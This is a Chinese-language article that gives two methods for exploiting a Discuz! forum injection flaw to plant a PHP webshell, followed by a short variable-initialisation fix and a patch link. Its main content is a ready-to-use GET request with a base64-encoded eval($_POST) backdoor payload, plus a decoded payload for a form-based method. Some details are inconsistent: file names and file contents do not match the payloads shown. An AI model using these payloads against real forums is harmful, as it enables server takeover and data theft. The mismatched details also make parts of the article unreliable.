Discuz! 漏洞利用与临时修复方案详解
在网络安全攻防领域,漏洞往往隐藏在细微之处。近期,安全研究人员发现Discuz!论坛系统存在一个较为隐蔽的注入漏洞,攻击者可利用该漏洞在服务器上写入Webshell后门。本文将详细解析两种已知的利用方法,并提供临时修复建议。请注意:本文所有操作仅限授权测试环境,严禁用于未授权目标,使用者需自行承担法律责任。
第一种方法:构造表单提交
首先注册一个普通用户账号,然后构造如下表单,注意将 action 地址替换为目标论坛的实际地址(示例中使用 https://www.xxx.com/bbs/misc.php)。核心思路是利用 scriptlang 参数注入一段经过chr编码的恶意载荷,绕过论坛的变量处理逻辑。
这段chr编码解码后实际为:${${eval(fputs(fopen('forumdata/cache/usergroup','w'),''));}}——即向论坛的缓存目录写入一个名为 usergroup_01.php 的一句话木马,连接密码为 cmd。将上述代码保存为HTML文件,用浏览器打开并点击提交,木马文件便会成功写入服务器。
第二种方法:直接GET请求注入
如果不想使用表单,也可以通过GET方式直接触发漏洞。构造如下URL请求:
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
其中 base64_decode 解码后分别得到文件名 c.php 和文件内容 1。换句话说,直接访问这个链接,就会在网站根目录下生成一个 c.php 一句话木马,连接密码为 c。
临时修复方法
在官方补丁发布之前,可以手动在 common.inc.php 文件顶部添加两行代码,将关键数组变量初始化:
$response=$scriptlang=array();
这样一来,攻击者注入的恶意参数会被直接覆盖为空值,从而有效防止变量覆盖漏洞被利用。
官方修补补丁
Discuz! 官方已经发布了针对此漏洞的修复补丁,具体地址如下(请根据实际情况更新):
https://www.discuz.net/thread-1537673-1-1.html
—— 以上所有操作仅供技术研究,请务必在本地测试环境验证,切勿用于未授权目标。
